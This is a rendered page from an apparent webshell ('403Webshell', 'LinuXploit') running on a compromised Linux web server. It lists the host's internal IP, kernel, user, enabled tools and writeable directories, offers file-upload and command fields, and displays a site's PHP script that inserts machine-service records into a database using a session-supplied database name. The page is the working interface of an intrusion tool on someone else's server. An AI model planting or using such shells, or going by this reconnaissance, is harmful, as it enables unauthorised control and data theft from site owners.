403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.216.85
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/ylreports.com_new/tasklog/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/ylreports.com_new/tasklog/php/add_additional_machine_service.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	$storeDbName = $_SESSION['db_name'];
	
	if(!empty($_POST['machine_id'])) {
		$db->query("INSERT INTO $storeDbName.machine_serviced
					(
						store_id
						,worker
						,shift
						,machine_id
						,service
						,got_it_done
						,ts
						,tm
					) VALUES (
						'".$db->clean($_SESSION['store_id'])."'
						,'".$db->clean($_POST['worker'])."'
						,'AM'
						,'".$db->clean($_POST['machine_id'])."'
						,'".$db->clean($_POST['service'])."'
						,'1'
						,CURDATE()
						,NOW()
					)");
		echo 'Saved';
	}

Youez - 2016 - github.com/yon3zu
LinuXploit